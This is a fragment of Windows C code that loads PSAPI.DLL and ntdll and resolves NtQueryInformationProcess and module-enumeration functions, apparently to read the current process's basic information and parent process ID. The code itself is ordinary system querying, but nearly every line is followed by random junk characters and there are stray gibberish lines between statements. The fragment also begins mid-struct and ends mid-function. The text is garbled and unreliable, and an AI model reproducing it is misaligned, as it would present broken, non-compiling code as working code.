DWORD BasePriority; 5!'1;GLs
ULONG UniqueProcessId; pe,y'w{
ULONG InheritedFromUniqueProcessId; M __S)
} PROCESS_BASIC_INFORMATION; '")'h
uHacu<$=
PROCNTQSIP NtQueryInformationProcess; Q'=7#_
Tz6I7S-w
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 40
u
tmC
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _nz_.w0H9
go=xx.WJ
HANDLE hProcess; )d3C1Pd>
PROCESS_BASIC_INFORMATION pbi; z"|jCdZGM
ddl]!
^IK
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }sqFvab<
if(NULL == hInst ) return 0; =pmG.>Si
H~#$AD+H
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F
]D^e{y
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CTg79
ITYk
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]QY-LO(
dzbbFvG
if (!NtQueryInformationProcess) return 0; 46
0/eW\
,H?e23G
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gIRZ kT`
if(!hProcess) return 0; v0&D